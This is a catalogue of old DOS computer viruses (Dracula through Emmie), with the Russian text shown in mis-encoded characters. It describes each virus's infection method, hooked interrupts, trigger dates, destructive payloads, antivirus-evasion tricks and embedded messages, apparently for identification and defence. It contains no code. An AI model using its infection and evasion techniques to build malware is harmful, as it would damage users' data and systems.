"Ñëåäóé påêå, íà÷èíàÿ ñ åå èñòîêîâ. Èñòèíà ñåãîäíÿ-çàâòpà îêàæåòñÿ
ëîæüþ" (Ô.Ïàóëþñ).
"Çà îøèáêè ãîñóäàpñòâåííûõ äåÿòåëåé pàñïëà÷èâàåòñÿ âñÿ íàöèÿ"
(Í.Áåpäÿåâ).
Âåñü ìèð - òåàòð.
À â íåì æåíùèíû, ìóæ÷èíû - âñå àêòåðû.
Ó íèõ åñòü âûõîäû, óõîäû.
È êàæäûé íå îäíó èãðàåò ðîëü.
Ñåìü äåéñòâèé â ïüåññå òîé.
Ìëàäåíåö, øêîëüíèê,þíîøà, ëþáîâíèê,
Ñîëäàò, ñóäüÿ, ñòàðèê. (Øåêñïèð)
- "×åëîâå÷åñêîå äîñòîèíñòâî íåðóøèìî.Óâàæàòü è çàùèùàòü åãî -
îáÿçàííîñòü âñÿêîé ãîñóäàðñòâåííîé âëàñòè" (Êîíñòèòóöèÿ ÔÐÃ, ñò. # 1)
- "Ãîñóäàðñòâåííàÿ âëàñòü îñíîâûâàåòñÿ íà íåïîêîëåáèìèì äîâåðèè íàðîäà,
åå àâòîðèòåò èñõîäèò îò íàðîäà, åå ïîëíîìî÷èÿ îñóùåñòâëÿþòñÿ
ïîñðåäñòâîì íàðîäà, à áëàãàìè åå ïîëüçóåòñÿ íàðîä" (èç Êîíñòèòóöèè
ßïîíèè)
- "Âñÿ âëàñòü â ÑÑÑÐ ïðèíàäëåæèò íàðîäó" (Êîíñòèòóöèÿ ÑÑÑÐ 1977 ã.,
ñò. 2)
"Íå÷à íà çåðêàëî ïåíÿòü, êîëü ðîæà êðèâà" (ïðî òåáÿ)
Áåç ïèùè ÷åëîâåê æèâåò ïÿòü íåäåëü, áåç âîäû - ïÿòü äíåé, áåç âîçäóõà -
ïÿòü ìèíóò
ÛÛÛÛÛ Û Û ÛÛÛÛÛ Û Û
Û Û Û Û Û Û Û ÜÜÜ ÈÑÒÎ×ÍÈÊ
Û ÛÛÛÛÛ Û Û ÛÛÛÛÛ ÜÜÜ ÂÅ×ÍÎÃÎ
ÛÛÛÛÛ Û Û ÛÛÛÛÛ Û Û ÂÄÎÕÍÎÂÅÍÈß
2 5
Dracula.1370
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè ñòàðòå èíôèöèðîâàííîãî ôàéëà,
âèðóñ óäàëÿåò ñâîé êîä èç íåãî. Ïðè çíà÷åíèè ìèíóò ñèñòåìíîãî âðåìåíè
êðàòíîãî 10 è ïðè âîçíèêíîâåíèè îøèáêè âî âðåìÿ ñàìîñòîÿòåëüíîãî
"èçëå÷åíèÿ" ôàéëîâ, âèðóñ óíè÷òîæàåò ñîäåðæèìîå ïåðâîãî æåñòêîãî äèñêà
è âûâîäèò òåêñò "It's a pleasure for me to be so harmful. See you
later, Count DRACULA.".
Dragon
Íåîïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. Ïðè òðàññèðîâêå ðåçèäåíòíîé êîïèè
âèðóñà, ïðîèñõîäèò "çàâèñàíèå" ñèñòåìû è âîçìîæíà â ýòîò ìîìåíò "ðÿáü"
íà ýêðàíå ìîíèòîðà.
Dragon.414
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "Quick Dragon v.7".
DrDemon.4292
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé ïîëèìîðôíûé âèðóñ. Íå çàðàæàåò ôàéëû,
íà÷èíàþùèåñÿ íà áóêâîñî÷åòàíèÿ AIDS, WEB, VB, ADINF, SCAN, CLEAN, DRW.
Ñîäåðæèò çàøèôðîâàííûé òåêñò "MB Pro (c) 1994-96 by Dr.Demon".
Dre.192
Îïàñíûé çàìåùàþùèé ïðîãðàììíûé êîä âèðóñ. Çàðàæàåò EXE-ôàéëû â òåêóùåì
êàòàëîãå, çàïèñûâàÿñü â èõ íà÷àëî. Ñîäåðæèò òåêñòû "ß âèðóñ?EXE" è "Wr.
by Doctor Dre 1997(c).King V1.2".
Dre.756
Îïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Çàðàæàåò COM è EXE-ôàéëû â
òåêóùåì êàòàëîãå. Ïðè÷åì EXE-ôàéëû Dre.756 çàðàæàåò âèðóñîì Dre.192,
êîòîðîãî íîñèò â ñâîåì òåëå.
Dread.774
Ïî îêîí÷àíèè ñâîåé ðàáîòû âûâîäèò òåêñò:
I am he, the bornless one, the fallen angel watching you !
(C) Dread Lord.
You are the real dead one now ...
Dread.2163
Ñîäåðæèò òåêñò:
Eddie lives...somewhere in time! Eddie 2 or Infinite Dreams virus by
FotD (C) Dread Lord, 1993, 1994 Thanx to the Dark Avenger DDT -- LAME!
FotD -- RULEZ
Dream
Íåîïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. Êîïèðóåò 101 áàéò ñâîåãî êîäà â
òàáëèöó âåêòîðîâ ïðåðûâàíèé. Ïðè ÷òåíèè ïåðâûõ ñåêòîðîâ äèñêåò âèðóñ
÷èòàåò â îáëàñòü âèäåîïàìÿòè èíôèöèðîâàííûé MBR æåñòêîãî äèñêà è
çàïèñûâàåò åãî â çàãðóçî÷íûé ñåêòîð ôëîïïè-äèñêà. Ñîäåðæèò ñòðîêó
"dream".
DREG.based
Äàííûå âèðóñû ñêîíñòðóèðîâàíû ñ ïîìîùüþ âèðóñíîãî êîíñòðóêòîðà DREG
(Digital Hacker's Alliance Randomized Encryption Generator),
ïîçâîëÿþùåãî ñîçäàâàòü íåðåçèäåíòíûå ïîëèìîðôíûå âèðóñû, çàðàæàþùèå
COM-ôàéëû â òåêóùåì êàòàëîãå.
Dret.1710
Î÷åíü îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. 13 ÷èñëà èëè ïðè
íåàêêóðàòíîé òðàññèðîâêå âèðóñ ìîæåò óíè÷òîæèòü ïî 128 ñåêòîðîâ íà
ïåðâîì è âòîðîì æåñòêèõ äèñêàõ. Ñîäåðæèò òåêñò
"(c) 23.5.3945 / DR & ETASCECLHVSPF-ACPRVINWI".
DrJohn.2000
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Íà ñëåäóþùèé ìåñÿö ïîñëå çàðàæåíèÿ âûâîäèò
íà ýêðàí òåêñò "Ïpèâåò îò *Doctor John*! Ïpèÿòåëü, äà òû îêàçûâàåòñÿ
÷àéíèê ïîñëåäíèé !". Èìååò òåêñò "Äàííûå èç çàãîëîâêà EXE".
Dron.995, Dron.1024
Ñîäåðæàò òåêñòîâóþ ñòðîêó "* DRON Ver 1.00, PhysTech,(c) 1994 *".
Èíîãäà âûâîäÿò íà ýêðàí òåêñò:
ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛ
Moscow Institute of Physics and Technology (c) 1994
DrS.678
Ñîäåðæèò òåêñò "dR.S".
DrWhite.1027
Ôàéëîâî-çàãðóçî÷íûé øèôðîâàííûé âèðóñ. Ïðè ñòàðòå èíôèöèðîâàííîãî ôàéëà
âèðóñ çàðàæàåò MBR, èçìåíÿÿ 34 åãî áàéòà. Çàïèñûâàåò íà äèñê åùå 2
ñåêòîðà ñâîåãî òåëà. Ïðè ïåðåçàãðóçêå ñèñòåìû èíñòàëëèðóåòñÿ â ïàìÿòü è
ïåðåõâàòûâàåò INT 13h, INT 1Ch, INT 21h. Â äàëüíåéøåì çàðàæàåò
Boot-ñåêòîðà ôëîïïè-äèñêîâ è COM-ôàéëû. Ñîäåðæèò òåêñòîâûå ñòðîêè: "Dr
White - Sweden 1994" è "Junkie Virus - Written in Malmo...M01D".
DrWhite.2403
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óíè÷òîæàåò ôàéëû CHKLIST.MS.
Ñîäåðæèò òåêñòîâûå ñòðîêè: "DrW-2", "Dr White - Sweden 1993" è
"Desperado Virus - Written in Malmo...F02E".
DSCE-âèðóñû
DSCE (Dark Slayer Confusion Engine) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. Ñîçäàí êèòàéñêèì âèðóñîïèñàòåëåì ïî
"êëè÷êå" Dark Slayer.
DSCE.Demo
Ïîëèìîðôíûé âèðóñ. Ñîäåðæèò ñòðîêó
"This is a DSCE's Demo Virus written by [P.F]".
DSCE.Mdak
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîçäàåò êàòàëîã "C:\TITOV MU.DAK".
DSME-âèðóñû
DSME (Dark Slayer Mutation Engine) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. Ñîçäàí êèòàéñêèì âèðóñîïèñàòåëåì ïî
"êëè÷êå" Dark Slayer.
DSME.Connie.1761, DSME.Connie.2708
Ïîëèìîðôèêè. Ïåðâûì äåëîì ïûòàþòñÿ çàðàçèòü ôàéë COMMAND.COM â êîðíåâîì
äèðåêòîðèè äèñêà C:.
Ñîäåðæàò òåêñòîâûå ñòðîêè:
DSME.Connie.1761 - "This is Written by Dark Slayer in
Keelung TAIWAN".
DSME.Connie.2708 - "This is Connie v2.0 Written by Dark Slayer in
Keelung, Taiwan".
DSME.Teacher.3197
Ïîëèìîðôèê. Ñîäåðæèò òåêñòîâóþ ñòðîêó "Teacher virus ( A demo virus
for DSME to all teacher )".
Dsu.1414
Îïàñíûé çàøèôðîâàííûé âèðóñ. Ïîñëå 25 ÷èñëà ìåñÿöà ïåðåõâàòûâàåò INT
17h (ïðèíòåð) è ïðè âûâîäå íà ïå÷àòü ìåíÿåò ðóññêóþ áóêâó 'ð' íà 'ã'.
Ñîäåðæèò òåêñò "(c) 1994 DSU RadioFuck".
Dva.445, 749
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Dva.749 28 ôåâðàëÿ âûâîäèò òåêñò "Happy
birthday VICTOR!!!". Ñîäåðæàò òåêñòû:
Dva.445:
DVA æåëàåò âàì õîðîøèõ ñíîâèäåíèé....
Completed!!!-Îñòîðîæíî ó âàñ â ôàéëå êîä Âèðóñà FS-First!!!
Áîéòåñü ìåíÿ
Dva.749:
Hello Victor&Igor!!!Victor`s Virus For Igor&ALL!!!
Warning!Super Virus!!!Hello!!HI!!!!ALL OK!!!DON'T WORRY
Dumb.4722
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïîñëå 6500 íàæàòèé íà êëàâèøè
âèðóñ âûâîäèò òåêñò:
I'm the first version of the first Romanian Polimorphic Virus.
Because I was borned in Romania, all the talking from now-on
will be in my language.
--DECI-- sa ne intelegem romaneste ca de la virus la posesor de virus :
Ma lasi sa traiesc linistit, te las sa traiesti linistit !
De acord ?
È æäåò íàæàòèÿ íà êëàâèøè "D", "N" èëè "Y". Â çàâèñèìîñòè îò íàæàòîé
êëàâèøè âûâîäèò ñëåäóþùèå òåêñòû:
Bine mosule, tu ai vrut-o !!
Works for me...
O.K. man...I'm with you.
Bine mai ... Si nu mai fi asa de speriat !!
Óäàëÿåò ôàéë ANTI-VIR.DAT.Ñîäåðæèò òåêñòû "I dunno what you think about
me but i am NOT dumb !", "16-9-1995 || 23:56.00".
Duran
Îïàñíûé Boot-âèðóñ. Åñëè ïðîèçîøëî 32768 âûçîâîâ INT 13h ïîñëå çàãðóçêè
ñèñòåìû, òî âèðóñ óíè÷òîæàåò MBR è ñâîé âèðóñíûé êîä, íàõîäÿùèéñÿ â
íåì. Ñîäåðæèò òåêñòû "(c)AVB91" è "Duran-Duran lives...".
Dwbomk.607
Îïàñíûé ðåçèäåíòíûé âèðóñ. 17 ÿíâàðÿ âûâîäèò íà ýêðàí òåêñò "Âîòü åòÿ
âèðÿñü "DWBoMK" ÌÈÑèÑ,ÏÌÏ,ÒÝÌ-96-1" è óíè÷òîæàåò ñîäåðæèìîå ïåðâîãî
æåñòêîãî äèñêà.
EA.Asmodeous.882, 1160, 1343, 1359, 1437, 1450, 1829, 1833
Îïàñíûå ðåçèäåíòíûå âèðóñû. Âèðóñû ñîñòîÿò èç 10 ñîñòàâíûõ ÷àñòåé, 9 èç
êîòîðûõ âèðóñû ïðè çàðàæåíèè ôàéëîâ ìåíÿþò ìåñòàìè â ñëó÷àéíîé
ïîñëåäîâàòåëüíîñòè. 11 íîÿáðÿ âèðóñû ïûòàþòñÿ óäàëèòü âñå ôàéëû, ïîèñê
êîòîðûõ ïðîèçâîäèòñÿ ïîñðåäñòâîì ôóíêöèé 4Eh, 4Fh INT 21h. Ñîäåðæàò
ñòðîêó "ASMODEOUS" èëè "Asmodeous".
EA.Asmodeous.1444
Î÷åíü îïàñíûé âèðóñ. Âèðóñ ñîñòîèò èç 16 ñîñòàâíûõ ÷àñòåé, 15 èç
êîòîðûõ âèðóñ ïðè çàðàæåíèè ôàéëà ìåíÿåò ìåñòàìè â ñëó÷àéíîé
ïîñëåäîâàòåëüíîñòè. Ïåðâûì äåëîì âèðóñ ïûòàåòñÿ çàðàçèòü êîìàíäíûé
ïðîöåññîð, ñ÷èòàÿ, ÷òî îí äîëæåí áûòü îáÿçàòåëüíî â ôîðìàòå COM-ôàéëà.
Ïðè çàðàæåíèè COM-ôàéëîâ, ïåðâàÿ èíñòðóêöèÿ êîòîðûõ JUMP, âèðóñ
âíåäðÿåò 8 áàéò êîìàíä ñâîåãî ïåðåõîäà â îáëàñòü âòîðîé àññåìáëåðíîé
èíñòðóêöèè. Åñëè æå ó COM-ôàéëà ïåðâàÿ êîìàíäà íå JUMP, òî âèðóñó íå
óäàåòñÿ çàðàçèòü òàêîé ôàéë èç-çà îøèáêè, è ñèñòåìà, êàê ïðàâèëî,
"çàâèñàåò". 27 äåêàáðÿ âèðóñ ïûòàåòñÿ óíè÷òîæèòü ñîäåðæèìîå 15 ïåðâûõ
ñåêòîðîâ æåñòêîãî äèñêà. Óäàëÿåò ïðîãðàììó AIDSTEST.EXE ïðè åå çàïóñêå.
Âèðóñ ïåðåõâàòûâàåò INT 17h (ïðèíòåð) è ïðè ïå÷àòè âûâîäèò ñëîâà,
îòñóòñòâóþùèå â íîðìàòèâíîé ëåêñèêå. Ïðè çàðàæåíèè êîìàíäíîãî
ïðîöåññîðà âèðóñ âûâîäèò ñîîáùåíèå "HS86.5 Ver 5.09.Copyright by EA
computers inc.1994". Ñîäåðæèò ñòðîêó "SNAIDSTESTCOMEXE".
EA.Birthday
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. 27 äåêàáðÿ âûâîäèò òåêñò:
Ñåãîäíÿ íàäî ïîçäðàâëÿòü Ëåíó Ñîøíèêîâó
ñ äíåì ðîæäåíèÿ,à íå ðàáîòàòü.
Ñîäåðæèò òåêñòû:
BIRTHDAY (C) EA inc.
Ëîçèíñêèé! Ìîÿ íèæàéøàÿ ïðîñüáà - ïåðåèìåíóé ASMODEOUS'à â åãî
íàñòîÿùåå èìÿ,ò.å. â ASMODEOUS
Love&Death Co.
EA.Dictexe
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "DICTEXE (C) EA inc.".
EA.Hs
Îïàñíûé ðåçèäåíòíûé âèðóñ. "Ïåðåõâàòûâàåò" INT 17h, 21h. Ïðè ïå÷àòè íà
ïðèíòåðå âñòàâëÿåò ïîñëå çàïÿòîé îäíî èç ñëåäóþùèõ ñëîâîñî÷åòàíèé:
",âîò", ",êîpî÷å", ",òàâî ýòàâà". Ìîæåò âûâåñòè íà ýêðàí òåêñò
"HS86.42 Ver 4.09.Copyright by EA computers inc.1994".
EA.Satana.665, 666
Îïàñíûå ðåçèäåíòíûå âèðóñû. 11 íîÿáðÿ çàïèñûâàþò âî âñå çàïóñêàåìûå
ïðîãðàììû ñòðîêó "Ñàòàíà òàì ïðàâèò áàë". Ñîäåðæàò òàêæå òåêñò
"SATANA 666 (C) EA inc.".
Ear.Leonardo
Îïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Â çàâèñèìîñòè îò ñâîèõ
ñ÷åò÷èêîâ ìîæåò óäàëèòü âñå ôàéëû â òåêóùåì äèðåêòîðèè, ôàéëû
c:\autoexec.bat è c:\config.sys, èëè çàïèñàòü â íà÷àëî ôàéëà c:\io.sys
òåêñò "Leonardo v 2.0".
Ear.Shame
Îïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïûòàåòñÿ óäàëèòü ôàéëû
TBSCAN.EXE, ANTI-VIR.DAT, CHKLIST.MS, CHKLIST.CPS, IVB.NTZ. Èíîãäà
âûâîäèò íà ýêðàí îäíî èç ñëåäóþùèõ ñîîáùåíèé:
Shame on you!
Where did I come from?
Dedicated to the people of Chung-Li, Tiawan.
I feel safe, don't you?
Dope!
Tiwanese rise to the top while looking down at the empty bottom...
Wait for the departure of you life...
God loves you!
Ur virux protexion sux.
It's a Shame.
Ebola.3000 (1-3)
Íåîïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå ñòåëñ-âèðóñû. Èíîãäà âûâîäÿò íà ýêðàí
ñëåäóþùèå òåêñòû:
Ebola.3000 (1): Ebola.3000 (2): Ebola.3000 (3):
Ebola virus 1.0! Ebola virus 1.2! Ebola virus 1.4!
Extremly stealth Extremly stealth Extremly stealth
mutating system! mutating system! mutating system!
Technical infos: Technical infos: Technical infos:
No way to detect No way to detect No way to detect
Heuristic analys Fucked heuristic Fucked heuristic
often impossible Greets go to all Greets go to all
Greetings go to virus developing virus developing
author of Volkov groups in Brno ! groups in Brno !
Your data are OK Czech republic94
aNytime,ANywHere
Czech rep. 1994!
Eddie.651
Ñîäåðæèò ñòðîêó "Eddie lives".
Eddie.1530
Îïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà "âåøàåò" ñèñòåìó è èçìåíÿåò òèï äèñêà
â CMOS-ïàìÿòè.
Eddie.1800 (1-3)
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Ïðîèçâîäÿò çàïèñü â ñëó÷àéíûå ñåêòîðà
òåêóùåãî äèñêà 512 áàéò ñâîåãî êîäà. Ïåðåõâàòûâàþò INT 21h, 27h. Íå
äàþò èçìåíèòü àäðåñ âåêòîðà INT 21h. INT 27h èñïîëüçóåòñÿ äëÿ êîíòðîëÿ
çà INT 21h. Ïåðâîíà÷àëüíûé âàðèàíò âèðóñà ñîäåðæàë òåêñòîâûå ñòðîêè:
Eddie lives...somewhere in time!
Diana P.
This program was written in the city of Sofia (C) 1988-89 Dark Avenger
Eddie.2000 (1-3), Eddie.2100
Î÷åíü îïàñíû òàêæå, êàê è Eddie.1800. Ñîäåðæàò ñòðîêè:
Eddie.2000:
Zopy me - I want to travel èëè Only the Good die young...
Äèàíà Ï.
(c) 1989 by Vesselin Bontchev
Eddie.2100:
Eddie lives
(c) 1990 by Vesselin Bontchev
Ïðè ñòàðòå ïðîãðàìì, ñîäåðæàùèõ â ñâîåì òåëå ñòðîêó "by Vesselin
Bontchev", âèðóñû "çàöèêëèâàþò" è "âåøàþò" ñèñòåìó.
Eddie.Alexander.1843, 1951, 2104
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Èíîãäà âûâîäÿò òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Apa depistata in microprocesor ! º
º Functionarea poate fi compromisa ! º
º Se recomanda oprirea calculatorului º
º citeva ore pentru uscare ! º
º º
º Alexander - Constanta, Romania º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Eddy.1422
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ìîæåò óíè÷òîæèòü ñîäåðæèìîå CMOS-ïàìÿòè è
âûâåñòè íà ýêðàí ñëîâî "Eddy".
Ekaterinburg
19 àâãóñòà âûâîäèò íà ýêðàí áåëî-ñèíå-êðàñíûé ðîññèéñêèé ôëàã. Ñîäåðæèò
ñâîå çàøèôðîâàííîå íàçâàíèå - Ekaterinburg.
Elaine.1127
Îïàñíûé ðåçèäåíòíûé âèðóñ. "Ïåðåõâàòûâàåò" INT 13h, 21h. Ñ âåðîÿòíîñòüþ
1/256 èíâåðòèðóåò ïåðâûé áàéò â áóôåðå ïðè çàïèñè íà äèñê (f.03h, f.0bh
Int 13h). Ñîäåðæèò òåêñò "Elaine 1.0 28 May 1994".
Elcn.374, 424, 550
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû (Elcn.550 - îïàñåí). Elcn.374 â 8:20
âûâîäèò òåêñò "Ëîçèíñêèé - ËÎÑÜ !!!". Elcn.424 âûâîäèò òåêñò "Òû çà
Åëüöèíà [y/n] ?" è â çàâèñèìîñòè îò îòâåòà âûâîäèò îäíî èç ñîîáùåíèé
"Çíà÷èò òû óáëþäîê !", "ß òîæå.". Elcn.424 ñîäåðæèò òåêñò "Bryansk
ELCN", Elcn.550 - "Bryansk DRxy". Elcn.550 ìîæåò óíè÷òîæèòü íà÷àëüíûå
ñåêòîðà äèñêîâ. Ìîæåò âûâåñòè òåêñò:
NO ROM BASIC
SYSTEM HALTED.
Elene.1000
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. 20 ôåâðàëÿ âûâîäèò íà ýêðàí òåêñò:
Ñåãîäíÿ Ëåíî÷êèí äåíü ðîæäåíèÿ
Ìîñêâà - Ñàíêò-Ïeòåðáóðã, Èþëü-Àâãóñò 1994ã.
Em.1303
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Çàðàæàåò EXE-ôàéëû íà äèñêå C:. Ïðè ñòàðòå
èíôèöèðîâàííîãî EXE-ôàéëà, âèðóñ çàïèñûâàåò â ôàéë C:\AUTOEXEC.BAT
ïîñëå ïåðåìåííîé ñðåäû "PATH=..." ñëîâî "em", ñîçäàåò ôàéë C:\EM.COM è
çàïèñûâàåò â íåãî ñâîé âèðóñíûé êîä. Ïðè ñòàðòå äàííîãî ôàéëà EM.COM
âèðóñ ïðîèçâîäèò ïîèñê è çàðàæåíèå EXE-ôàéëîâ â êàòàëîãàõ äèñêà C:.
28 ÷èñëà âèðóñ çàìåíÿåò ïåðâûé ñèìâîë èìåí ôàéëîâ äèñêà C: íà ïðîáåë.
Emm.4870, 4910, 5952
Ïîëèìîðôíûå âèðóñû. 7 ÷èñëà ìåñÿöà ìîãóò âûâåñòè íà ýêðàí ñîîáùåíèÿ:
Emm.4870: Welcome to the Explosion's Mutation Machine ! Dis is level 3.
Emm.4910: Frog man Cracker cLub = FCL'name : [ MAINDE ]
We Must Love SVS !!!
Emm.5952:
Dedicated to LEELOO and Mr. Dallas from the movie "THE 5th ELEMENT"
I (L.BB) LOVE MILA JOVOVICH (LEELOO)
Èìåþò î÷åíü ìîùíûé ïîëèìîðôíûé ìåõàíèçì, â ñèëó ÷åãî ñîäåðæàò äîâîëüíî
ìíîãî îøèáîê, èç-çà êîòîðûõ çàøèôðîâàííûå ôàéëû íå ðàñøèôðîâûâàþòñÿ.
Ñîäåðæàò ñòðîêè "EMM 1.0", "COM EXE SCAN VSHIELD CLEAN FINDVIRU GUARD
VIVERIFY TB -V VIRSTOP NOD HIEW PASCA NETENVI F-PROT CHKDSK". Íå
çàðàæàåò ôàéëû, óêàçàííûå â ïðåäûäóùåé ñòðîêå. Åñëè âèðóñ íàõîäèò îäèí
èç ðåçèäåíòíûõ äðàéâåðîâ "TBMEMXXX, TBCHKXXX, TBDSKXXX, TBFILXXX", òî
îí ïðåäïðèíèìàåò ïîïûòêè ïîìåøàòü èõ íîðìàëüíîé ðàáîòå. Emm.5952
ñîäåðæèò òàêæå ñëåäóþùèé òåêñò:
[LBBME] L.BBs polymorphic engine
Dear Milla Jovovich,
I decided to write this one just for you.
Anyway, I know will never meet you but I want
to let you know: the 5th element was the best
movie you made. And you played "Leeloo" very
good (just perfect). He virus-killers:
If this message doesnÿt get to her, I will
release the most powerful virus all over the
world. The beta canÿt even be scaned by this
scanners: SCAN,TBAV,SDSCAN,NORTON,SOLOMON
F-PROT,VIRSTOP,VIRSTOP2,MSAV,SDRES,SDSCAN,
TBSCAN,TBMEM,VSAFE,CPAV,FSP,SCANPM,VDEFEND,
The virus is XXXX Kb compiled code without my
polymorphic engine [LBBPE].
The destructive code is still the most powerfull
one Iÿve ever seen on other virii. OK SEE YA!
THIS VIRUS WILL BE RELEASED VERY SOON. THE BETA
IS ALEREADY ON SOME COMPUTERS. AND THIS VIRUS WILL
BE PERFEKT. Ohh, (for Thundebyte) I forgot to say
that I have the soucer-code of all your a-virus tools
Nice isnÿt it?
MILLA I LOVE YOU! BYE! STOP SENDING CHANCELBOTS TO THE NEWSGROUPS!!!!!!!
Emm.LionKing
Î÷åíü îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Èíîãäà ìîæåò âûâåñòè
ñîîáùåíèå:
Ja som virus Lion King
Formatujem ti disk lebo devastujes prirodu
Ïîñëå ÷åãî óíè÷òîæàåò íåêîòîðûå ñåêòîðà æåñòêîãî äèñêà. Ñîäåðæèò òåêñòû
"Vypadni z tejto casti RAM!", "cpav msav enav scan viverify avg nodex
pkzip arj uc lharc arc lha chkdsk", "by LST- 2005". Íå çàðàæàåò ôàéëû,
óêàçàííûå â ïðåäïîñëåäíåé ñòðîêå èëè âûêëþ÷àåò ñâîé ñòåëñ-ðåæèì ïðè
ðàáîòå íåêîòîðûõ ýòèõ ïðîãðàìì. Åñëè âèðóñ íàõîäèò îäèí èç
ðåçèäåíòíûõ äðàéâåðîâ "TBMEMXXX, TBCHKXXX, TBDSKXXX, TBFILXXX", òî îí
ïðåäïðèíèìàåò ïîïûòêè ïîìåøàòü èõ íîðìàëüíîé ðàáîòå.
Emmie.2604, Emmie.2620, Emmie.2702, Emmie.2823, Emmie.3097
Î÷åíü îïàñíûå âèðóñû. Emmie.2823, 3097 - ñàìîøèôðóþùèåñÿ âèðóñû.
Òðàññèðóþò INT 13h, 21h, 26h. Èçìåíÿþò öèôðû, âûâîäèìûå íà ýêðàí èëè
ïðèíòåð. Ïîâòîðÿþò ñèìâîëû, ââåäåííûå ñ êëàâèàòóðû. Åñëè ãîä íå÷åòíûé -
óíè÷òîæàþò èíôîðìàöèþ íà ïåðâûõ 17 ñåêòîðàõ "âèí÷åñòåðà" (Emmie.2823,
3097 - 8 ìàðòà åñëè ãîä íå÷åòíûé). Ïðè çàðàæåíèè èçìåíÿþò òðè áàéòà
âòîðîé àññåìáëåðíîé èíñòðóêöèè ïðîãðàììû-æåðòâû íà êîìàíäó ïåðåõîäà
(CALL NEAR PTR) íà îñíîâíîé âèðóñíûé êîä, êîòîðûé ðàñïîëàãàåòñÿ â êîíöå
çàðàæåííîãî ôàéëà. Äëÿ îïðåäåëåíèÿ àäðåñà âòîðîé êîìàíäû âèðóñû
